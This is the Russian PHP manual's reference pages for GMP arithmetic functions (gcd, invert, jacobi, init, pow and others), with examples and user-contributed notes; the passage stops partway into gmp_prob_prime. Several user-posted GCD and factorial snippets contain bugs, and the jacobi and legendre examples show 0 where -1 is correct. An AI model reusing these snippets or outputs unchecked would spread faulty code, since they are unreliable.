Вычисляет наибольший общий делитель чисел num1 и num2. Результат всегда положителен, даже если одно из чисел, или оба, отрицательные.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Положительный НОД чисел num1 и num2.

Примеры

Пример #1 Пример использования gmp_gcd()

<?php
$gcd = gmp_gcd("12", "21");
echo gmp_strval($gcd) . "\n";
?>

Результат выполнения данного примера:

3

Смотрите также

  • gmp_lcm() - Вычисляет наименьшее общее кратное

User Contributed Notes

me at abiusx dot com 10-Apr-2020 01:48
function gcd($a,$b)
{
    return $b ? gcd($b, $a%$b) : $a;
}

This is pretty fast and short, also easy to remember. If $b is zero, return a, otherwise swap and mod.
delboy1978uk at gmail dot com 24-Oct-2017 05:05
I wanted this functionality without having to install the extension.

So here's a script I wrote to find out the greatest common denominator:

<?php

// Our fraction, 3/12, could be written better
$numerator = 3;
$denominator = 12;

/**
 * @param int $num
 * @return array The common factors of $num
 */
function getFactors($num)
{
    $factors = [];
    // get factors of the numerator
    for ($x = 1; $x <= $num; $x ++) {
        if ($num % $x == 0) {
            $factors[] = $x;
        }
    }
    return $factors;
}

/**
 * @param int $x
 * @param int $y
 */
function getGreatestCommonDenominator($x, $y)
{
    // first get the common denominators of both numerator and denominator
    $factorsX = getFactors($x);
    $factorsY = getFactors($y);

    // common denominators will be in both arrays, so get the intersect
    $commonDenominators = array_intersect($factorsX, $factorsY);

    // greatest common denominator is the highest number (last in the array)
    $gcd = array_pop($commonDenominators);
    return $gcd;
}

// divide the numerator and denomiator by the gcd to get our refactored fraction
$gcd = getGreatestCommonDenominator($numerator, $denominator);
echo ($numerator / $gcd) .'/'. ($denominator / $gcd); // we can use divide (/) because we know result is an int :-)

Which you can see running here https://3v4l.org/uTucY
sean__remove__ at eternalrise_r_emove__ dot com 10-Nov-2008 07:50
Here's my solution for getting the GCD of several numbers.

<?php

/*
 * function gcd()
 *
 * returns greatest common divisor
 * between two numbers
 * tested against gmp_gcd()
 */
function gcd($a, $b)
{
    if ($a == 0 || $b == 0)
        return abs( max(abs($a), abs($b)) );

    $r = $a % $b;
    return ($r != 0) ?
        gcd($b, $r) :
        abs($b);
}

/*
 * function gcd_array()
 *
 * gets greatest common divisor among
 * an array of numbers
 */
function gcd_array($array, $a = 0)
{
    $b = array_pop($array);
    return ($b === null) ?
        (int)$a :
        gcd_array($array, gcd($a, $b));
}

?>
limas at kultur-online dot at 01-Dec-2007 10:44
The previous function returns just 1 under php 5.2.4  but the following seems to work (m>0,n>0):

function gcd($m,$n)
{
    $_m=$m;$r=1;
    if($m<$n){$t=$m;$m=$n;$n=$t;}
    while($r)
    {
        $r=(floor($m/$n)*$n)-$m;
        $_n=$n;$n=$r;$m=$_m;
    }
    return abs($_n);
}
bigkm1 at gmail dot com 25-Aug-2006 09:33
here is an elegant recursive solution
<?php

function gcd($a,$b) {
    return ($a % $b) ? gcd($b,$a % $b) : $b;
}

?>
scr02001 at student dot mdh dot se 16-Aug-2003 06:58
If you do not consier a or b as possible negative numbers, a GCD funktion may return a negative GCD, wich is NOT a greatest common divisor, therefore a funktion like this may be better. This considers the simplyfying of (-3)-(-6) where gcd on -3 and -6 would result in 3, not -3 as with the other function. (-3)-(-6) is (-1)-(-2) NOT (1)-(2)

function eGCD($a,$b){
  if($a < 0)         $a=0-$a;
  if($b < 0 )        $b=0-$b;
  if($a == 0 || $b == 0)    return 1;
  if($a == $b)              return a;

do{
  $rest=(int) $a % $b;  $a=$b; $b=$rest;
  }while($rest >0);
return $a;
}
Ludwig Heymbeeck 12-Jan-2003 10:33
The following function is more accurate:

function GCD($num1, $num2) {
/* finds the greatest common factor between two numbers */
   while ($num2 != 0){
     $t = $num1 % $num2;
     $num1 = $num2;
     $num2 = $t;
   }
   return $num1;
}
x-empt-php dot net at ispep dot cx 06-Jul-2002 11:16
No need to compile gmp functions in just for the GCD function...  use this one instead:

function GCD($num1, $num2) {
 /* finds the greatest common factor between two numbers */
    if ($num1 < $num2) {
        $t = $num1;
        $num1 = $num2;
        $num2 = $t;
    }
    while ($t = ($num1 % $num2) != 0) {
        $num1 = $num2;
        $num2 = $t;
    }
    return $num2;
}


Вычисление НОД и множителей

  • « gmp_gcd
  • gmp_hamdist »
  • PHP Manual
  • GMP Функции
  • Вычисление НОД и множителей

gmp_gcdext

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_gcdext — Вычисление НОД и множителей

Описание

gmp_gcdext(GMP|int|string $num1, GMP|int|string $num2): array

Вычисляет величины g, s и t, в выражении a*s + b*t = g = gcd(a,b), где gcd - наибольший общий делитель. Возвращает массив, значения которого соответствуют значениям величин g, s и t.

Эта функция может использоваться для решения Диофантовых уравнений с двумя переменными. Это такие уравнения, которые имеют только целочисленные решения и имеют вид: a*x + b*y = c. За дополнительной информацией обращайтесь на » страницу "Диофантово уравнение" в MathWorld

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Массив (array) GMP чисел.

Примеры

Пример #1 Решение линейного Диофантового уравнения

<?php
// Решение уравнения a*s + b*t = g
// где a = 12, b = 21, g = gcd(12, 21) = 3
$a = gmp_init(12);
$b = gmp_init(21);
$g = gmp_gcd($a, $b);
$r = gmp_gcdext($a, $b);

$check_gcd = (gmp_strval($g) == gmp_strval($r['g']));
$eq_res = gmp_add(gmp_mul($a, $r['s']), gmp_mul($b, $r['t']));
$check_res = (gmp_strval($g) == gmp_strval($eq_res));

if ($check_gcd && $check_res) {
$fmt = "Solution: %d*%d + %d*%d = %d\n";
printf($fmt, gmp_strval($a), gmp_strval($r['s']), gmp_strval($b),
gmp_strval($r['t']), gmp_strval($r['g']));
} else {
echo "Ошибка во время решения уравнения\n";
}

// вывод: Решение: 12*2 + 21*-1 = 3
?>

User Contributed Notes

FatPhil 15-Jun-2003 06:47
The extended GCD can be used to calculate mutual modular inverses of two
coprime numbers. Internally gmp_invert uses this extended GCD routine,
but effectively throws away one of the inverses.

If gcd(a,b)=1, then r.a+s.b=1
Therefore  r.a == 1 (mod s) and s.b == 1 (mod r)
Note that one of r and s will be negative, and so you'll want to
canonicalise it.


Расстояние Хэмминга

  • « gmp_gcdext
  • gmp_import »
  • PHP Manual
  • GMP Функции
  • Расстояние Хэмминга

gmp_hamdist

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_hamdist — Расстояние Хэмминга

Описание

gmp_hamdist(GMP|int|string $num1, GMP|int|string $num2): int

Возвращает расстояние Хэмминга для чисел num1 и num2. Оба операнда должны быть неотрицательными.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

Должно быть неотрицательным.

num2

Объект GMP, целое число (int) или числовая строка (string).

Должно быть неотрицательным.

Возвращаемые значения

Расстояние Хэмминга между num1 и num2 в виде целого числа (int).

Примеры

Пример #1 Пример использования gmp_hamdist()

<?php
$ham1 = gmp_init("1001010011", 2);
$ham2 = gmp_init("1011111100", 2);
echo gmp_hamdist($ham1, $ham2) . "\n";

/* расстояние Хэмминга эквивалентно: */
echo gmp_popcount(gmp_xor($ham1, $ham2)) . "\n";
?>

Результат выполнения данного примера:

6
6

Смотрите также

  • gmp_popcount() - Количество единиц в двоичной записи числа
  • gmp_xor() - Побитовое исключающее ИЛИ

User Contributed Notes

grabzila at gmail dot com 11-Mar-2021 11:14
<?php
$hamdist = gmp_hamdist(-100, -10); // 4
$hamdist = gmp_hamdist(100, 10);  // 5
?>

The function works great with negative numbers.
Bas Vijfwinkel 16-Apr-2018 05:41
For those without gmp support :

$hamming_distance = count(array_diff_assoc(str_split($string1), str_split($string2)));

And if you are not sure if your strings have equal length :

$hamming_distance = count(array_diff_assoc(str_split(str_pad($string1,strlen($string2)-strlen($string1),' ')), str_split(str_pad($string2,strlen($string1)-strlen($string2),' '))));


Импортировать из бинарной строки

  • « gmp_hamdist
  • gmp_init »
  • PHP Manual
  • GMP Функции
  • Импортировать из бинарной строки

gmp_import

(PHP 5 >= 5.6.1, PHP 7, PHP 8)

gmp_import — Импортировать из бинарной строки

Описание

gmp_import(string $data, int $word_size = 1, int $flags = GMP_MSW_FIRST | GMP_NATIVE_ENDIAN): GMP

Импортирует GMP-число из бинарной строки

Список параметров

data

Бинарная строка для импорта

word_size

По умолчанию равно 1. Количество байт в каждом блоке бинарных данных. Обычно используется совместно с заданием параметра options.

flags

По умолчанию GMP_MSW_FIRST | GMP_NATIVE_ENDIAN.

Возвращаемые значения

Возвращает GMP-число.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gmp_import()

<?php
$number = gmp_import("\0");
echo gmp_strval($number) . "\n";

$number = gmp_import("\0\1\2");
echo gmp_strval($number) . "\n";
?>

Результат выполнения данного примера:

0
258

Смотрите также

  • gmp_export() - Экспортировать в бинарную строку

User Contributed Notes

There are no user contributed notes for this page.


Создание GMP числа

  • « gmp_import
  • gmp_intval »
  • PHP Manual
  • GMP Функции
  • Создание GMP числа

gmp_init

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_init — Создание GMP числа

Описание

gmp_init(int|string $num, int $base = 0): GMP

Создаёт GMP число из целого числа или строки.

Список параметров

num

Целое число или строка. Число, заданное строкой может быть десятичным, шестнадцатеричным или восьмеричным.

base

Основание системы счисления.

Основание может варьироваться от 2 до 62. Если основание 0 (по умолчанию), основание будет определено, исходя из первых символов: если первые два символа 0x или 0X, число будет интерпретировано как шестнадцатеричное, если первые два символа - 0b or 0B, предполагается двоичный, если первый символ "0", то как восьмеричное, в остальных случаях числа будут восприниматься как десятичные. Для оснований до 36 регистр игнорируется; буквы верхнего и нижнего регистра имеют одинаковое значение. Для оснований от 37 до 62 заглавные буквы представляют обычные от 10 до 35, а строчные буквы - от 36 до 61.

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Создание GMP числа

<?php
$a = gmp_init(123456);
$b = gmp_init("0xFFFFDEBACDFEDF7200");
?>

Примечания

Замечание:

Нет необходимости явно вызывать эту функцию, если требуется вставить целое число или строку на место GMP числа в GMP функциях, как например gmp_add(). Аргументы функций автоматически преобразуются в GMP числа, если такое преобразование требуется и оно возможно, по тем же правилам, что и в gmp_init().

Смотрите также

  • GMP::__construct() - Create GMP number

User Contributed Notes

Aurelien Marchand 03-May-2022 08:04
Missing from the documentation: gmp_init() return false in case it failed to parse $num

<?php
var_dump(gmp_init(""));
// returns "bool(false)" and not a GMP object as hinted by the documentation, it also triggers a Warning "PHP Warning:  gmp_init(): Unable to convert variable to GMP - string is not an integer in php shell code on line 1"

?>
marcus at synchromedia dot co dot uk 11-Aug-2011 04:41
I discovered that the gmp functions use [0-9a-f] up to base 16, but [0-9A-Za-z] (i.e. upper case first) from bases 17 to 62. This differs from most of the base-62 implementations I've found that tend to use lower case first.
karl dot debisschop at pearson dot com 29-Mar-2011 12:15
Unless the base is 16, gpm_init will fail if the string begins with "0b".

> php -r '$v = gmp_init("b83", 17); print("$v\n");'

Resource id #4

> php -r '$v = gmp_init("0b83", 17); print("$v\n");'

[nothing prints]

In may case, where I am explicitly specifying the base, the solution is to apply ltrim first:

> php -r '$v = gmp_init(ltrim("0b83", "0"), 17); print("$v\n");'

Resource id #4
charlie at oblivion dot cz 18-Feb-2007 04:55
gmp_* functions don't accept strings with a leading '+':
<?php
echo gmp_strval(gmp_init('+42'));      #0
echo gmp_strval(gmp_add('42', '+42')); #42
echo bcadd('+42', '+42');              #84
?>
php at richardneill dot org 20-Sep-2006 03:30
Here's a way to parse a decimal (eg 3.25) into an integer and exponent:

<?
if (preg_match("/^[0-9]+\.[0-9]+$/",$input)){
     //Input is a base-10 decimal. Multiply as necessary to remove the decimal
     //point. Convert that to a gmp_resource, then decrement the exponent
     //to compensate.

     $pieces=explode(".", $input);     //Split at the d.p.
     $input="$pieces[0]$pieces[1]";  //Remove the decimal point.

     $input=ltrim($input,'0');
     //Remove any leading zeros, or gmp_init will parse the number as octal.

     if ($input==''){    //Deal with "0.0" which would otherwise be ''.
          $input=0;
      }
      $integer=gmp_init($input);
      $ns_exponent=-strlen($pieces[1]);
     //exponent = (-)  the number of characters after the decimal point.
}
?>
php at richardneill dot org 20-Sep-2006 03:14
Note: Leading zeros will make gmp_init parse this as octal.
Thus gmp_init(010) becomes 8.

$a=010;              //8
$b="010" + 0;     //10
$c=gmp_strval(gmp_init(010));    //8
$d=gmp_strval(gmp_init("010")); //8

This behaviour is inconsistent: either $d should equal $b, or
$b should equal $a.
thomas dot hebinck at digionline dot de 18-Aug-2005 10:23
If you call a gmp_* function directly with an interger as parameter, this integer MUST NOT be 0:

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,$i))) . ' ';  }

The result is 1 0 3 (wrong)

In this case you have to use gmp_init():

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,gmp_init($i)))) . ' ';  }

The result is 1 2 3 (right)

Happy number crunching! :-)


Преобразование числа GMP в целое число

  • « gmp_init
  • gmp_invert »
  • PHP Manual
  • GMP Функции
  • Преобразование числа GMP в целое число

gmp_intval

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_intval — Преобразование числа GMP в целое число

Описание

gmp_intval(GMP|int|string $num): int

Функция преобразует число GMP в обычное целое число PHP (int).

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Целое число типа int преобразованное из num.

Примеры

Пример #1 Пример использования gmp_intval()

<?php
// выводит корректный результат
echo gmp_intval("2147483647") . "\n";

// выводит неверный результат, выше границы диапазона PHP integer
echo gmp_intval("2147483648") . "\n";

// выводит корректный результат
echo gmp_strval("2147483648") . "\n";
?>

Результат выполнения данного примера:

2147483647
2147483647
2147483648

Примечания

Внимание

Эта функция возвращает пригодный для дальнейшего применения результат, только если число вписывается в диапазон возможных чисел типа PHP integer (то есть, длинное целое со знаком). Если необходимо просто вывести GMP на экран, используйте gmp_strval().

User Contributed Notes

There are no user contributed notes for this page.


Инверсия остатка от деления

  • « gmp_intval
  • gmp_jacobi »
  • PHP Manual
  • GMP Функции
  • Инверсия остатка от деления

gmp_invert

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_invert — Инверсия остатка от деления

Описание

gmp_invert(GMP|int|string $num1, GMP|int|string $num2): GMP|false

Вычисляет инверсию остатка от деления числа num1 на число num2.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

GMP число в случае успешного выполнения либо false, если инверсия не существует.

Примеры

Пример #1 Пример использования gmp_invert()

<?php
echo gmp_invert("5", "10"); // нет инверсии, не выводит ничего, результат FALSE
$invert = gmp_invert("5", "11");
echo gmp_strval($invert) . "\n";
?>

Результат выполнения данного примера:

9

User Contributed Notes

athamidn at gmail dot com 06-Apr-2020 11:31
Example #2 gmp_invert() example
<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE

It means (5 * x ) mod 10 = 1. And with this function we want a value for x, because of mod 10, x should be {1.. 10-1(9)}, so :

5 * 1 mod 10 = 5
5 * 2 mod 10 = 0
5 * 3 mod 10 = 5
5 * 4 mod 10 =  0
5 * 5 mod 10 = 5
5 * 6 mod 10 = 0
5 * 7 mod 10 = 5
5 * 8 mod 10 = 0
5 * 9 mod 10 = 5
We don't have any 1 in the results. so it will be False.

$invert = gmp_invert("5", "11");

echo gmp_strval($invert) . "\n";
?>

The above example will output:

9

5 * 9 mod 11 = 1


Символ Якоби

  • « gmp_invert
  • gmp_kronecker »
  • PHP Manual
  • GMP Функции
  • Символ Якоби

gmp_jacobi

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_jacobi — Символ Якоби

Описание

gmp_jacobi(GMP|int|string $num1, GMP|int|string $num2): int

Вычисляет » Символ Якоби для чисел num1 и num2. num2 должно быть положительным и нечётным.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Должно быть положительным и нечётным.

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_jacobi()

<?php
echo gmp_jacobi("1", "3") . "\n";
echo gmp_jacobi("2", "3") . "\n";
?>

Результат выполнения данного примера:

1
0

Смотрите также

  • gmp_kronecker() - Символ Кронекера — Якоби
  • gmp_legendre() - Символ Лежандра

User Contributed Notes

There are no user contributed notes for this page.


Символ Кронекера — Якоби

  • « gmp_jacobi
  • gmp_lcm »
  • PHP Manual
  • GMP Функции
  • Символ Кронекера — Якоби

gmp_kronecker

(PHP 7 >= 7.3.0, PHP 8)

gmp_kronecker — Символ Кронекера — Якоби

Описание

gmp_kronecker(GMP|int|string $num1, GMP|int|string $num2): int

Производит вычисление символа Кронекера — Якоби для num1 и num2.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает символ Кронекера — Якоби для num1 и num2

Смотрите также

  • gmp_jacobi() - Символ Якоби
  • gmp_legendre() - Символ Лежандра

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет наименьшее общее кратное

  • « gmp_kronecker
  • gmp_legendre »
  • PHP Manual
  • GMP Функции
  • Вычисляет наименьшее общее кратное

gmp_lcm

(PHP 7 >= 7.3.0, PHP 8)

gmp_lcm — Вычисляет наименьшее общее кратное

Описание

gmp_lcm(GMP|int|string $num1, GMP|int|string $num2): GMP

Функция вычисляет наименьшее общее кратное для заданных num1 и num2.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Смотрите также

  • gmp_gcd() - Вычисление наибольшего общего делителя

User Contributed Notes

There are no user contributed notes for this page.


Символ Лежандра

  • « gmp_lcm
  • gmp_mod »
  • PHP Manual
  • GMP Функции
  • Символ Лежандра

gmp_legendre

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_legendre — Символ Лежандра

Описание

gmp_legendre(GMP|int|string $num1, GMP|int|string $num2): int

Вычисляет » символ Лежандра чисел num1 и num2. num2 должно быть нечётным и положительным.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Должно быть положительным и нечётным.

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_legendre()

<?php
echo gmp_legendre("1", "3") . "\n";
echo gmp_legendre("2", "3") . "\n";
?>

Результат выполнения данного примера:

1
0

Смотрите также

  • gmp_jacobi() - Символ Якоби
  • gmp_kronecker() - Символ Кронекера — Якоби

User Contributed Notes

There are no user contributed notes for this page.


Вычисление остатка от целочисленного деления

  • « gmp_legendre
  • gmp_mul »
  • PHP Manual
  • GMP Функции
  • Вычисление остатка от целочисленного деления

gmp_mod

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_mod — Вычисление остатка от целочисленного деления

Описание

gmp_mod(GMP|int|string $num1, GMP|int|string $num2): GMP

Вычисляет остаток от деления числа num1 на num2. Результат всегда неотрицательный, знак числа num2 игнорируется.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Делитель (модуль).

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_mod()

<?php
$mod = gmp_mod("8", "3");
echo gmp_strval($mod) . "\n";
?>

Результат выполнения данного примера:

2

User Contributed Notes

There are no user contributed notes for this page.


Умножение чисел

  • « gmp_mod
  • gmp_neg »
  • PHP Manual
  • GMP Функции
  • Умножение чисел

gmp_mul

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_mul — Умножение чисел

Описание

gmp_mul(GMP|int|string $num1, GMP|int|string $num2): GMP

Умножает число num1 на num2 и возвращает результат.

Список параметров

num1

Первый множитель, число умножаемое на num2.

Объект GMP, целое число (int) или числовая строка (string).

num2

Второй множитель, число умножаемое на num1.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_mul()

<?php
$mul = gmp_mul("12345678", "2000");
echo gmp_strval($mul) . "\n";
?>

Результат выполнения данного примера:

24691356000

User Contributed Notes

06-Dec-2006 01:11
<?php
function fact($x)
{
   $factorial = 1;
   for ($i=2; $i < $x; $i++) {
       $factorial = gmp_mul($factorial, $i);
   }
   return $factorial;
}

echo gmp_strval(fact(1000)) . "\n";
?>


Изменение знака числа

  • « gmp_mul
  • gmp_nextprime »
  • PHP Manual
  • GMP Функции
  • Изменение знака числа

gmp_neg

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_neg — Изменение знака числа

Описание

gmp_neg(GMP|int|string $num): GMP

Возвращает противоположное относительно нуля число.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает -num в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_neg()

<?php
$neg1 = gmp_neg("1");
echo gmp_strval($neg1) . "\n";
$neg2 = gmp_neg("-1");
echo gmp_strval($neg2) . "\n";
?>

Результат выполнения данного примера:

-1
1

User Contributed Notes

There are no user contributed notes for this page.


Поиск следующего простого числа

  • « gmp_neg
  • gmp_or »
  • PHP Manual
  • GMP Функции
  • Поиск следующего простого числа

gmp_nextprime

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

gmp_nextprime — Поиск следующего простого числа

Описание

gmp_nextprime(GMP|int|string $num): GMP

Ищет следующее простое число

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает следующее простое число, большее, чем num в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_nextprime()

<?php
$prime1 = gmp_nextprime(10); // ближайшее простое число, следующее за 10
$prime2 = gmp_nextprime(-1000); // ближайшее простое число, следующее за -1000

echo gmp_strval($prime1) . "\n";
echo gmp_strval($prime2) . "\n";
?>

Результат выполнения данного примера:

11
2

Примечания

Замечание:

Функция использует вероятностный алгоритм для определения простых чисел и шансы получить составное число чрезвычайно малы.

User Contributed Notes

IceMetalPunk at gmail dot com 03-Feb-2017 04:01
Negative numbers N always have at least four factors: N*1=N and abs(N)*-1=N. Therefore, even if "natural number" weren't in the definition of a prime (which it is), no negative number would ever qualify. Therefore, the next-largest prime number to any negative number is always 2.
Tommy Lynge Jrgensen 08-Jun-2016 04:17
Prime numbers are positive, non-zero numbers that have exactly two factors. No more, no less. So testing negative numbers doesn't really make any sense.
Anonymous 09-Feb-2016 05:21
It seems gmp_nextprime on negative numbers always returns 2.


Побитовое ИЛИ

  • « gmp_nextprime
  • gmp_perfect_power »
  • PHP Manual
  • GMP Функции
  • Побитовое ИЛИ

gmp_or

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_or — Побитовое ИЛИ

Описание

gmp_or(GMP|int|string $num1, GMP|int|string $num2): GMP

Вычисляет побитовое ИЛИ двух GMP чисел.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_or()

<?php
$or1 = gmp_or("0xfffffff2", "4");
echo gmp_strval($or1, 16) . "\n";
$or2 = gmp_or("0xfffffff2", "2");
echo gmp_strval($or2, 16) . "\n";
?>

Результат выполнения данного примера:

fffffff6
fffffff2

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли число "совершенной степенью"

  • « gmp_or
  • gmp_perfect_square »
  • PHP Manual
  • GMP Функции
  • Проверить, является ли число "совершенной степенью"

gmp_perfect_power

(PHP 7 >= 7.3.0, PHP 8)

gmp_perfect_power — Проверить, является ли число "совершенной степенью"

Описание

gmp_perfect_power(GMP|int|string $num): bool

Проверяет, является ли num совершенной степенью. Целое число является совершенной степенью, если его можно получить возведением меньшего целого числа в целую степень.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает true, если num является совершенной степенью. В противном случае возвращает false.

Смотрите также

  • gmp_perfect_square() - Проверка числа на точный квадрат

User Contributed Notes

There are no user contributed notes for this page.


Проверка числа на точный квадрат

  • « gmp_perfect_power
  • gmp_popcount »
  • PHP Manual
  • GMP Функции
  • Проверка числа на точный квадрат

gmp_perfect_square

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_perfect_square — Проверка числа на точный квадрат

Описание

gmp_perfect_square(GMP|int|string $num): bool

Проверяет, является ли число точным квадратом, т.е. квадратом целого числа.

Список параметров

num

Проверяемое на точный квадрат число.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает true, если num является квадратом целого числа, в противном случае возвращает false.

Примеры

Пример #1 Пример использования gmp_perfect_square()

<?php
// 3 * 3, точный квадрат
var_dump(gmp_perfect_square("9"));

// не является точным квадратом
var_dump(gmp_perfect_square("7"));

// 1234567890 * 1234567890, точный квадрат
var_dump(gmp_perfect_square("1524157875019052100"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(true)

Смотрите также

  • gmp_perfect_power() - Проверить, является ли число "совершенной степенью"
  • gmp_sqrt() - Вычисление квадратного корня
  • gmp_sqrtrem() - Квадратный корень с остатком

User Contributed Notes

There are no user contributed notes for this page.


Количество единиц в двоичной записи числа

  • « gmp_perfect_square
  • gmp_pow »
  • PHP Manual
  • GMP Функции
  • Количество единиц в двоичной записи числа

gmp_popcount

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_popcount — Количество единиц в двоичной записи числа

Описание

gmp_popcount(GMP|int|string $num): int

Возвращает количество единиц в двоичной записи числа.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Количество единиц в двоичной записи числа num, в виде числа (int).

Примеры

Пример #1 Пример использования gmp_popcount()

<?php
$pop1 = gmp_init("10000101", 2); // 3 1's
echo gmp_popcount($pop1) . "\n";
$pop2 = gmp_init("11111110", 2); // 7 1's
echo gmp_popcount($pop2) . "\n";
?>

Результат выполнения данного примера:

3
7

User Contributed Notes

ketrab2004 14-Nov-2021 02:18
Another way to get the population count when you don't have the gmp extension is using bitwise operations:

<?php

$int = 133; // 10000101

for($count = 0; $int != 0; $count++) // repeat until $int is 0 (and count the amount of steps it takes in $count)
{
    $int = $int & $int-1; // remove the right most 1 from $int using the bitwise and operator
}

echo $count; // 3

?>

This is Kernighan's population count.

https://youtu.be/ZRNO-ewsNcQ?t=510 has a nice explanation on how it works
phpmanual at headbank dot co dot uk 18-Nov-2018 03:51
If you don't have gmp extension enabled (or don't want to use it for any reason), you can get popcount of an int using decbin() and substr_count().

<?php
$int1 = 133;
$bin1 = decbin($int1); // "10000101"
echo substr_count($bin1, "1");

// Result: 3
?>

Being a string-comparison this is far less efficient than gmp_popcount() (for which there is a dedicated instruction on most if not all modern processors), but may be handy if gmp is unavailable, or in non-performance-critical code that doesn't otherwise need it.


Возводит число в степень

  • « gmp_popcount
  • gmp_powm »
  • PHP Manual
  • GMP Функции
  • Возводит число в степень

gmp_pow

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_pow — Возводит число в степень

Описание

gmp_pow(GMP|int|string $num, int $exponent): GMP

Возводит число num в степень exponent.

Список параметров

num

Основание степени.

Объект GMP, целое число (int) или числовая строка (string).

exponent

Положительный показатель степени числа num.

Возвращаемые значения

Новое (результирующее) GMP число. Результатом примера 0^0 будет 1.

Примеры

Пример #1 Пример использования gmp_pow()

<?php
$pow1 = gmp_pow("2", 31);
echo gmp_strval($pow1) . "\n";
$pow2 = gmp_pow("0", 0);
echo gmp_strval($pow2) . "\n";
$pow3 = gmp_pow("2", -1); // Отрицательный показатель степени вызовет предупреждение
echo gmp_strval($pow3) . "\n";
?>

Результат выполнения данного примера:

2147483648
1

User Contributed Notes

rahulkadukar at yahoo dot com 16-May-2011 06:11
A Sample code can be shown as

<?php
echo gmp_strval(gmp_pow(4,4)); //This would give the answer as 256
?>


Возводит число в степень и производит деление по модулю

  • « gmp_pow
  • gmp_prob_prime »
  • PHP Manual
  • GMP Функции
  • Возводит число в степень и производит деление по модулю

gmp_powm

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_powm — Возводит число в степень и производит деление по модулю

Описание

gmp_powm(GMP|int|string $num, GMP|int|string $exponent, GMP|int|string $modulus): GMP

Вычисляет (num возводится в степень exponent) остаток от целочисленного деления на modulus. Если exponent отрицателен, результат не определён.

Список параметров

num

Основание степени.

Объект GMP, целое число (int) или числовая строка (string).

exponent

Положительный показатель степени, в которую возводится num.

Объект GMP, целое число (int) или числовая строка (string).

modulus

Делитель, остаток от целочисленного деления на который будет возвращён.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Новое GMP число (результат операции).

Примеры

Пример #1 Пример использования gmp_powm()

<?php
$pow1 = gmp_powm("2", "31", "2147483649");
echo gmp_strval($pow1) . "\n";
?>

Результат выполнения данного примера:

2147483648

User Contributed Notes

jessietessie256 at gmail dot com 11-Jan-2019 06:36
can be used for RSA encryption/decryption!


Проверяет, является ли число "вероятно простым"

  • « gmp_powm
  • gmp_random_bits »
  • PHP Manual
  • GMP Функции
  • Проверяет, является ли число "вероятно простым"

gmp_prob_prime

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_prob_prime — Проверяет, является ли число "вероятно простым"

Описание

gmp_prob_prime(GMP|int|string $num, int $repetitions = 10): int

Функция использует тест Миллера-Рабина для определения, является ли число простым.

Список параметров

num

Число, для которого проводится проверка.

